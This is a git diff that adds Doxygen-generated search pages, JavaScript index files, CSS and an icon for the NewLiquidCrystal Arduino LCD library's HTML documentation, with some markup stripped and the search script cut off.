+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_69.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_69.html new file mode 100644 index 0000000..dc3dc28 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_69.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO + I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6c.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6c.html new file mode 100644 index 0000000..86b91bc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6c.html @@ -0,0 +1,95 @@ + + + + + + + +
+
Loading...
+
+
+ LCD + LCD +
+
+
+
+ leftToRight + LCD +
+
+ + +
+
+ LiquidCrystal_I2C_ByVac + LiquidCrystal_I2C_ByVac +
+
+
+
+ LiquidCrystal_SR + LiquidCrystal_SR +
+
+
+
+ LiquidCrystal_SR1W + LiquidCrystal_SR1W +
+
+
+
+ LiquidCrystal_SR2W + LiquidCrystal_SR2W +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6d.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6d.html new file mode 100644 index 0000000..6a0ea3f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6d.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ moveCursorLeft + LCD +
+
+
+
+ moveCursorRight + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6e.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6e.html new file mode 100644 index 0000000..02acfb2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6e.html @@ -0,0 +1,50 @@ + + + + + + + +
+
Loading...
+
+
+ noAutoscroll + LCD +
+
+
+
+ noBacklight + LCD +
+
+ +
+
+ noCursor + LCD +
+
+
+
+ noDisplay + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_6f.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6f.html new file mode 100644 index 0000000..e5e659c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_6f.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ off + LCD +
+
+
+
+ on + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_7.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_7.html new file mode 100644 index 0000000..3857329 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_7.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_7.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_7.js new file mode 100644 index 0000000..0ac9232 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_7.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['movecursorleft',['moveCursorLeft',['../class_l_c_d.html#aad2abc99d1aca5403873579d9d72c2d4',1,'LCD']]], + ['movecursorright',['moveCursorRight',['../class_l_c_d.html#a09eec0c712e54b066f5894635c1fe75c',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_70.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_70.html new file mode 100644 index 0000000..16e8ed0 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_70.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ pinMode + I2CIO +
+
+
+
+ portMode + I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_72.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_72.html new file mode 100644 index 0000000..31d4b8e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_72.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ read + I2CIO +
+
+
+
+ rightToLeft + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_73.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_73.html new file mode 100644 index 0000000..332aca5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_73.html @@ -0,0 +1,85 @@ + + + + + + + + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_77.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_77.html new file mode 100644 index 0000000..d81a974 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_77.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+
+
+ waitUsec + LCD.h +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_8.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_8.html new file mode 100644 index 0000000..088e437 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_8.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_8.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_8.js new file mode 100644 index 0000000..646b05c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_8.js @@ -0,0 +1,8 @@ +var searchData= +[ + ['noautoscroll',['noAutoscroll',['../class_l_c_d.html#a96035dde40efbf73390e00b5beb00231',1,'LCD']]], + ['nobacklight',['noBacklight',['../class_l_c_d.html#a2a331b4e142734411b2f1cfaffe7a488',1,'LCD']]], + ['noblink',['noBlink',['../class_l_c_d.html#a3b755c4b397b5985752be8c30ee1a9b5',1,'LCD']]], + ['nocursor',['noCursor',['../class_l_c_d.html#aec8ffaa1e69c7a6e13ac0cfbc29151d9',1,'LCD']]], + ['nodisplay',['noDisplay',['../class_l_c_d.html#af3974da6d988ba2d21c25135ada12108',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_9.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_9.html new file mode 100644 index 0000000..61de44a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_9.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_9.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_9.js new file mode 100644 index 0000000..c997721 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_9.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['off',['off',['../class_l_c_d.html#a191639be183be1476c9bfe6d455d23b2',1,'LCD']]], + ['on',['on',['../class_l_c_d.html#a718da3a638deb59bd1c7a5222a52d98a',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_a.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_a.html new file mode 100644 index 0000000..a46b662 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_a.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_a.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_a.js new file mode 100644 index 0000000..5ecfc11 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_a.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['pinmode',['pinMode',['../class_i2_c_i_o.html#a53b94274eb6bb68564cf5243323db887',1,'I2CIO::pinMode()'],['../class_s_i2_c_i_o.html#a4ef4fb77ddd3d248be5e0898e33430a3',1,'SI2CIO::pinMode()']]], + ['portmode',['portMode',['../class_i2_c_i_o.html#a0341888753bc54c4384f5593a870fb34',1,'I2CIO::portMode()'],['../class_s_i2_c_i_o.html#a8e78ee0ee2d1bb12136b5c5a3487512b',1,'SI2CIO::portMode()']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_b.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_b.html new file mode 100644 index 0000000..3b49416 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_b.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_b.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_b.js new file mode 100644 index 0000000..d953d6d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_b.js @@ -0,0 +1,5 @@ +var searchData= +[ + ['read',['read',['../class_i2_c_i_o.html#a7a3db7bfc15ede0ae9e8c8bd44290ef7',1,'I2CIO::read()'],['../class_s_i2_c_i_o.html#a32cb72361397c1051ee650dbb2190060',1,'SI2CIO::read()']]], + ['righttoleft',['rightToLeft',['../class_l_c_d.html#ac014830eadc26bfd86308ea8734f4428',1,'LCD']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_c.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_c.html new file mode 100644 index 0000000..57c6455 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_c.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_c.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_c.js new file mode 100644 index 0000000..9cf2aff --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_c.js @@ -0,0 +1,11 @@ +var searchData= +[ + ['scrolldisplayleft',['scrollDisplayLeft',['../class_l_c_d.html#a6f3a503055b3b8dcf0f61b2633c584f7',1,'LCD']]], + ['scrolldisplayright',['scrollDisplayRight',['../class_l_c_d.html#abfc44b294772f09020bfa32af8a79571',1,'LCD']]], + ['send',['send',['../class_liquid_crystal.html#a56142f8b3753bedd133e4139e5eb5089',1,'LiquidCrystal::send()'],['../class_liquid_crystal___i2_c.html#a8bf1fab7efe13e8b17b96c42d1f810b4',1,'LiquidCrystal_I2C::send()'],['../class_liquid_crystal___i2_c___by_vac.html#a9e64cc68ec5df1a0fa421a242239b1b1',1,'LiquidCrystal_I2C_ByVac::send()'],['../class_liquid_crystal___s_i2_c.html#aa882cbbbb14985cab8432686723beaf9',1,'LiquidCrystal_SI2C::send()'],['../class_liquid_crystal___s_r.html#a03821351a32db07cb7e42c8c11ce8d47',1,'LiquidCrystal_SR::send()'],['../class_liquid_crystal___s_r1_w.html#a7fc0b03977907b4d526a6b9e49a331b1',1,'LiquidCrystal_SR1W::send()'],['../class_liquid_crystal___s_r2_w.html#a65dc6f261c319be8e56f3c1f6a5c877d',1,'LiquidCrystal_SR2W::send()'],['../class_liquid_crystal___s_r3_w.html#ade34af5b7fe795482f1848c2176d6e56',1,'LiquidCrystal_SR3W::send()']]], + ['setbacklight',['setBacklight',['../class_l_c_d.html#a3305570d7b37eb93f2cf840263c15828',1,'LCD::setBacklight()'],['../class_liquid_crystal.html#aa2b898366e1c656ac313b9007c98cebd',1,'LiquidCrystal::setBacklight()'],['../class_liquid_crystal___i2_c.html#af11b8fa0082616e2b6e6e4238589d8a8',1,'LiquidCrystal_I2C::setBacklight()'],['../class_liquid_crystal___i2_c___by_vac.html#a9b16e6ce123e2ebe3a3e33b2306e66a7',1,'LiquidCrystal_I2C_ByVac::setBacklight()'],['../class_liquid_crystal___s_i2_c.html#afa64775ef5faa3646385506b4adf7f2d',1,'LiquidCrystal_SI2C::setBacklight()'],['../class_liquid_crystal___s_r.html#ad9f3e3f36257984c23fb508973e14535',1,'LiquidCrystal_SR::setBacklight()'],['../class_liquid_crystal___s_r1_w.html#a82d844569eb258559afb40ab354eb0a5',1,'LiquidCrystal_SR1W::setBacklight()'],['../class_liquid_crystal___s_r2_w.html#a2158db27287c1564a03e7a1472beb3b6',1,'LiquidCrystal_SR2W::setBacklight()'],['../class_liquid_crystal___s_r3_w.html#a6d0fc7907ef9fd87c408a21b9bd49295',1,'LiquidCrystal_SR3W::setBacklight()']]], + ['setbacklightpin',['setBacklightPin',['../class_l_c_d.html#a53f4ee9b39d9ab3d7ae4d9f8dedca3bc',1,'LCD::setBacklightPin()'],['../class_liquid_crystal.html#a63740dc1198d8169a39d9c6daff0efc9',1,'LiquidCrystal::setBacklightPin()'],['../class_liquid_crystal___i2_c.html#a2eaf86f62d1f169b3763b03fbf88f70b',1,'LiquidCrystal_I2C::setBacklightPin()'],['../class_liquid_crystal___s_i2_c.html#a80adc9d27907d9145ad208eba4ae2ffa',1,'LiquidCrystal_SI2C::setBacklightPin()'],['../class_liquid_crystal___s_r.html#a5bfc0dcc1f042bcb59992493a3a7231d',1,'LiquidCrystal_SR::setBacklightPin()'],['../class_liquid_crystal___s_r3_w.html#a894d0ea8ea61c1d15acd8a26d417e477',1,'LiquidCrystal_SR3W::setBacklightPin()']]], + ['setcontrast',['setContrast',['../class_liquid_crystal___i2_c___by_vac.html#a53c79a20e8d21d2c3bc9e6d0dfc79cb4',1,'LiquidCrystal_I2C_ByVac']]], + ['setcursor',['setCursor',['../class_l_c_d.html#a48220450fd152b25994eb7d0ba340e8d',1,'LCD']]], + ['si2cio',['SI2CIO',['../class_s_i2_c_i_o.html#ae27c1861e885c6ade3f3923658957edf',1,'SI2CIO']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_d.html b/libraries/NewliquidCrystal/utility/docs/html/search/functions_d.html new file mode 100644 index 0000000..58b3d31 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_d.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/functions_d.js b/libraries/NewliquidCrystal/utility/docs/html/search/functions_d.js new file mode 100644 index 0000000..c6563f1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/functions_d.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['write',['write',['../class_i2_c_i_o.html#ae2063569c927d0008e2593d14504fdcd',1,'I2CIO::write()'],['../class_l_c_d.html#a2d89cc2e62f72afb5f15a7fd812900e3',1,'LCD::write()'],['../class_s_i2_c_i_o.html#a47c3ac3198cddcf9e6da1ccacd9db5d9',1,'SI2CIO::write()']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/mag_sel.png b/libraries/NewliquidCrystal/utility/docs/html/search/mag_sel.png new file mode 100644 index 0000000000000000000000000000000000000000..81f6040a2092402b4d98f9ffa8855d12a0d4ca17 GIT binary patch literal 563 zcmV-30?hr1P)zxx&tqG15pu7)IiiXFflOc2k;dXd>%13GZAy? zRz!q0=|E6a6vV)&ZBS~G9oe0kbqyw1*gvY`{Pop2oKq#FlzgXt@Xh-7fxh>}`Fxg> z$%N%{$!4=5nM{(;=c!aG1Ofr^Do{u%Ih{^&Fc@H2)+a-?TBXrw5DW&z%Nb6mQ!L9O zl}b@6mB?f=tX3;#vl)}ggh(Vpyh(IK z(Mb0D{l{U$FsRjP;!{($+bsaaVi8T#1c0V#qEIOCYa9@UVLV`f__E81L;?WEaRA;Y zUH;rZ;vb;mk7JX|$=i3O~&If0O@oZfLg8gfIjW=dcBsz;gI=!{-r4# z4%6v$&~;q^j7Fo67yJ(NJWuX+I~I!tj^nW3?}^9bq|<3^+vapS5sgM^x7!cs(+mMT z&y%j};&~po+YO)3hoUH4E*E;e9>?R6SS&`X)p`njycAVcg{rEb41T{~Hk(bl-7eSb zmFxA2uIqo#@R?lKm50ND`~6Nfn|-b1|L6O98vt3Tx@gKz#isxO002ovPDHLkV1kyW B_l^Jn literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/nomatches.html b/libraries/NewliquidCrystal/utility/docs/html/search/nomatches.html new file mode 100644 index 0000000..b1ded27 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/nomatches.html @@ -0,0 +1,12 @@ + + + + + + + +
+
No Matches
+
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/pages_0.html b/libraries/NewliquidCrystal/utility/docs/html/search/pages_0.html new file mode 100644 index 0000000..75d203d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/pages_0.html @@ -0,0 +1,26 @@ + + + + + + + + + +
+
Loading...
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/pages_0.js b/libraries/NewliquidCrystal/utility/docs/html/search/pages_0.js new file mode 100644 index 0000000..fcdd9b5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/pages_0.js @@ -0,0 +1,4 @@ +var searchData= +[ + ['readme',['README',['../md___users_fmalpartida__documents_development_mercurial_repos__s_w__newliquid_crystal__r_e_a_d_m_e.html',1,'']]] +]; diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/search.css b/libraries/NewliquidCrystal/utility/docs/html/search/search.css new file mode 100644 index 0000000..4d7612f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/search.css @@ -0,0 +1,271 @@ +/*---------------- Search Box */ + +#FSearchBox { + float: left; +} + +#MSearchBox { + white-space : nowrap; + position: absolute; + float: none; + display: inline; + margin-top: 8px; + right: 0px; + width: 170px; + z-index: 102; + background-color: white; +} + +#MSearchBox .left +{ + display:block; + position:absolute; + left:10px; + width:20px; + height:19px; + background:url('search_l.png') no-repeat; + background-position:right; +} + +#MSearchSelect { + display:block; + position:absolute; + width:20px; + height:19px; +} + +.left #MSearchSelect { + left:4px; +} + +.right #MSearchSelect { + right:5px; +} + +#MSearchField { + display:block; + position:absolute; + height:19px; + background:url('search_m.png') repeat-x; + border:none; + width:111px; + margin-left:20px; + padding-left:4px; + color: #909090; + outline: none; + font: 9pt Arial, Verdana, sans-serif; +} + +#FSearchBox #MSearchField { + margin-left:15px; +} + +#MSearchBox .right { + display:block; + position:absolute; + right:10px; + top:0px; + width:20px; + height:19px; + background:url('search_r.png') no-repeat; + background-position:left; +} + +#MSearchClose { + display: none; + position: absolute; + top: 4px; + background : none; + border: none; + margin: 0px 4px 0px 0px; + padding: 0px 0px; + outline: none; +} + +.left #MSearchClose { + left: 6px; +} + +.right #MSearchClose { + right: 2px; +} + +.MSearchBoxActive #MSearchField { + color: #000000; +} + +/*---------------- Search filter selection */ + +#MSearchSelectWindow { + display: none; + position: absolute; + left: 0; top: 0; + border: 1px solid #90A5CE; + background-color: #F9FAFC; + z-index: 1; + padding-top: 4px; + padding-bottom: 4px; + -moz-border-radius: 4px; + -webkit-border-top-left-radius: 4px; + -webkit-border-top-right-radius: 4px; + -webkit-border-bottom-left-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); +} + +.SelectItem { + font: 8pt Arial, Verdana, sans-serif; + padding-left: 2px; + padding-right: 12px; + border: 0px; +} + +span.SelectionMark { + margin-right: 4px; + font-family: monospace; + outline-style: none; + text-decoration: none; +} + +a.SelectItem { + display: block; + outline-style: none; + color: #000000; + text-decoration: none; + padding-left: 6px; + padding-right: 12px; +} + +a.SelectItem:focus, +a.SelectItem:active { + color: #000000; + outline-style: none; + text-decoration: none; +} + +a.SelectItem:hover { + color: #FFFFFF; + background-color: #3D578C; + outline-style: none; + text-decoration: none; + cursor: pointer; + display: block; +} + +/*---------------- Search results window */ + +iframe#MSearchResults { + width: 60ex; + height: 15em; +} + +#MSearchResultsWindow { + display: none; + position: absolute; + left: 0; top: 0; + border: 1px solid #000; + background-color: #EEF1F7; +} + +/* ----------------------------------- */ + + +#SRIndex { + clear:both; + padding-bottom: 15px; +} + +.SREntry { + font-size: 10pt; + padding-left: 1ex; +} + +.SRPage .SREntry { + font-size: 8pt; + padding: 1px 5px; +} + +body.SRPage { + margin: 5px 2px; +} + +.SRChildren { + padding-left: 3ex; padding-bottom: .5em +} + +.SRPage .SRChildren { + display: none; +} + +.SRSymbol { + font-weight: bold; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRScope { + display: block; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRSymbol:focus, a.SRSymbol:active, +a.SRScope:focus, a.SRScope:active { + text-decoration: underline; +} + +span.SRScope { + padding-left: 4px; +} + +.SRPage .SRStatus { + padding: 2px 5px; + font-size: 8pt; + font-style: italic; +} + +.SRResult { + display: none; +} + +DIV.searchresults { + margin-left: 10px; + margin-right: 10px; +} + +/*---------------- External search page results */ + +.searchresult { + background-color: #F0F3F8; +} + +.pages b { + color: white; + padding: 5px 5px 3px 5px; + background-image: url("../tab_a.png"); + background-repeat: repeat-x; + text-shadow: 0 1px 1px #000000; +} + +.pages { + line-height: 17px; + margin-left: 4px; + text-decoration: none; +} + +.hl { + font-weight: bold; +} + +#searchresults { + margin-bottom: 20px; +} + +.searchpages { + margin-top: 10px; +} + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/search.js b/libraries/NewliquidCrystal/utility/docs/html/search/search.js new file mode 100644 index 0000000..dedce3b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/search.js @@ -0,0 +1,791 @@ +function convertToId(search) +{ + var result = ''; + for (i=0;i do a search + { + this.Search(); + } + } + + this.OnSearchSelectKey = function(evt) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==40 && this.searchIndex0) // Up + { + this.searchIndex--; + this.OnSelectItem(this.searchIndex); + } + else if (e.keyCode==13 || e.keyCode==27) + { + this.OnSelectItem(this.searchIndex); + this.CloseSelectionWindow(); + this.DOMSearchField().focus(); + } + return false; + } + + // --------- Actions + + // Closes the results window. + this.CloseResultsWindow = function() + { + this.DOMPopupSearchResultsWindow().style.display = 'none'; + this.DOMSearchClose().style.display = 'none'; + this.Activate(false); + } + + this.CloseSelectionWindow = function() + { + this.DOMSearchSelectWindow().style.display = 'none'; + } + + // Performs a search. + this.Search = function() + { + this.keyTimeout = 0; + + // strip leading whitespace + var searchValue = this.DOMSearchField().value.replace(/^ +/, ""); + + var code = searchValue.toLowerCase().charCodeAt(0); + var idxChar = searchValue.substr(0, 1).toLowerCase(); + if ( 0xD800 <= code && code <= 0xDBFF && searchValue > 1) // surrogate pair + { + idxChar = searchValue.substr(0, 2); + } + + var resultsPage; + var resultsPageWithSearch; + var hasResultsPage; + + var idx = indexSectionsWithContent[this.searchIndex].indexOf(idxChar); + if (idx!=-1) + { + var hexCode=idx.toString(16); + resultsPage = this.resultsPath + '/' + indexSectionNames[this.searchIndex] + '_' + hexCode + '.html'; + resultsPageWithSearch = resultsPage+'?'+escape(searchValue); + hasResultsPage = true; + } + else // nothing available for this search term + { + resultsPage = this.resultsPath + '/nomatches.html'; + resultsPageWithSearch = resultsPage; + hasResultsPage = false; + } + + window.frames.MSearchResults.location = resultsPageWithSearch; + var domPopupSearchResultsWindow = this.DOMPopupSearchResultsWindow(); + + if (domPopupSearchResultsWindow.style.display!='block') + { + var domSearchBox = this.DOMSearchBox(); + this.DOMSearchClose().style.display = 'inline'; + if (this.insideFrame) + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + domPopupSearchResultsWindow.style.position = 'relative'; + domPopupSearchResultsWindow.style.display = 'block'; + var width = document.body.clientWidth - 8; // the -8 is for IE :-( + domPopupSearchResultsWindow.style.width = width + 'px'; + domPopupSearchResults.style.width = width + 'px'; + } + else + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + var left = getXPos(domSearchBox) + 150; // domSearchBox.offsetWidth; + var top = getYPos(domSearchBox) + 20; // domSearchBox.offsetHeight + 1; + domPopupSearchResultsWindow.style.display = 'block'; + left -= domPopupSearchResults.offsetWidth; + domPopupSearchResultsWindow.style.top = top + 'px'; + domPopupSearchResultsWindow.style.left = left + 'px'; + } + } + + this.lastSearchValue = searchValue; + this.lastResultsPage = resultsPage; + } + + // -------- Activation Functions + + // Activates or deactivates the search panel, resetting things to + // their default values if necessary. + this.Activate = function(isActive) + { + if (isActive || // open it + this.DOMPopupSearchResultsWindow().style.display == 'block' + ) + { + this.DOMSearchBox().className = 'MSearchBoxActive'; + + var searchField = this.DOMSearchField(); + + if (searchField.value == this.searchLabel) // clear "Search" term upon entry + { + searchField.value = ''; + this.searchActive = true; + } + } + else if (!isActive) // directly remove the panel + { + this.DOMSearchBox().className = 'MSearchBoxInactive'; + this.DOMSearchField().value = this.searchLabel; + this.searchActive = false; + this.lastSearchValue = '' + this.lastResultsPage = ''; + } + } +} + +// ----------------------------------------------------------------------- + +// The class that handles everything on the search results page. +function SearchResults(name) +{ + // The number of matches from the last run of . + this.lastMatchCount = 0; + this.lastKey = 0; + this.repeatOn = false; + + // Toggles the visibility of the passed element ID. + this.FindChildElement = function(id) + { + var parentElement = document.getElementById(id); + var element = parentElement.firstChild; + + while (element && element!=parentElement) + { + if (element.nodeName == 'DIV' && element.className == 'SRChildren') + { + return element; + } + + if (element.nodeName == 'DIV' && element.hasChildNodes()) + { + element = element.firstChild; + } + else if (element.nextSibling) + { + element = element.nextSibling; + } + else + { + do + { + element = element.parentNode; + } + while (element && element!=parentElement && !element.nextSibling); + + if (element && element!=parentElement) + { + element = element.nextSibling; + } + } + } + } + + this.Toggle = function(id) + { + var element = this.FindChildElement(id); + if (element) + { + if (element.style.display == 'block') + { + element.style.display = 'none'; + } + else + { + element.style.display = 'block'; + } + } + } + + // Searches for the passed string. If there is no parameter, + // it takes it from the URL query. + // + // Always returns true, since other documents may try to call it + // and that may or may not be possible. + this.Search = function(search) + { + if (!search) // get search word from URL + { + search = window.location.search; + search = search.substring(1); // Remove the leading '?' + search = unescape(search); + } + + search = search.replace(/^ +/, ""); // strip leading spaces + search = search.replace(/ +$/, ""); // strip trailing spaces + search = search.toLowerCase(); + search = convertToId(search); + + var resultRows = document.getElementsByTagName("div"); + var matches = 0; + + var i = 0; + while (i < resultRows.length) + { + var row = resultRows.item(i); + if (row.className == "SRResult") + { + var rowMatchName = row.id.toLowerCase(); + rowMatchName = rowMatchName.replace(/^sr\d*_/, ''); // strip 'sr123_' + + if (search.length<=rowMatchName.length && + rowMatchName.substr(0, search.length)==search) + { + row.style.display = 'block'; + matches++; + } + else + { + row.style.display = 'none'; + } + } + i++; + } + document.getElementById("Searching").style.display='none'; + if (matches == 0) // no results + { + document.getElementById("NoMatches").style.display='block'; + } + else // at least one result + { + document.getElementById("NoMatches").style.display='none'; + } + this.lastMatchCount = matches; + return true; + } + + // return the first item with index index or higher that is visible + this.NavNext = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index++; + } + return focusItem; + } + + this.NavPrev = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index--; + } + return focusItem; + } + + this.ProcessKeys = function(e) + { + if (e.type == "keydown") + { + this.repeatOn = false; + this.lastKey = e.keyCode; + } + else if (e.type == "keypress") + { + if (!this.repeatOn) + { + if (this.lastKey) this.repeatOn = true; + return false; // ignore first keypress after keydown + } + } + else if (e.type == "keyup") + { + this.lastKey = 0; + this.repeatOn = false; + } + return this.lastKey!=0; + } + + this.Nav = function(evt,itemIndex) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + var newIndex = itemIndex-1; + var focusItem = this.NavPrev(newIndex); + if (focusItem) + { + var child = this.FindChildElement(focusItem.parentNode.parentNode.id); + if (child && child.style.display == 'block') // children visible + { + var n=0; + var tmpElem; + while (1) // search for last child + { + tmpElem = document.getElementById('Item'+newIndex+'_c'+n); + if (tmpElem) + { + focusItem = tmpElem; + } + else // found it! + { + break; + } + n++; + } + } + } + if (focusItem) + { + focusItem.focus(); + } + else // return focus to search field + { + parent.document.getElementById("MSearchField").focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = itemIndex+1; + var focusItem; + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem && elem.style.display == 'block') // children visible + { + focusItem = document.getElementById('Item'+itemIndex+'_c0'); + } + if (!focusItem) focusItem = this.NavNext(newIndex); + if (focusItem) focusItem.focus(); + } + else if (this.lastKey==39) // Right + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'block'; + } + else if (this.lastKey==37) // Left + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'none'; + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } + + this.NavChild = function(evt,itemIndex,childIndex) + { + var e = (evt) ? evt : window.event; // for IE + if 